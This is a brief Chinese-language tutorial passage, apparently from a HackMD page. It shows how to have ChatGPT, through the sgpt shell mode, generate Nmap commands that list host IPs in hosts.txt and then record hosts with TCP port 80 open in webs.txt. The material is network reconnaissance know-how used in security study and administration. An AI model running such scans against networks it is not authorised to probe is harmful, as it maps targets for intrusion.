透過sgpt--chat demo--shell"Place only the IP addresses into a file called hosts.txt, then display the results."語法，讓ChatGPT根據需求自動生成Nmap語法，將主機掃描的結果儲存於hosts.txt檔案中，並將結果顯示於標準輸出畫面中。
![image](https://hackmd.io/_uploads/B1jcaO-J0.png)
透過sgpt--chat demo--shell"Run a nmap scan using -sT -p 80 against hosts.txt.If port 80 is open on a host,placet only the IP addresses into a file called webs.txt,then display the results."語法，讓ChatGPT根據需求自動生成Nmap語法，掃描列於hosts.txt檔案中的所有主機是否有開啟TCP Port 80，若有開 Port 將該主機IP存放於webs.txt檔案中，並將結果顯示於標準輸出畫面中。
![image](https://hackmd.io/_uploads/BkbD0_Zk0.png)

    

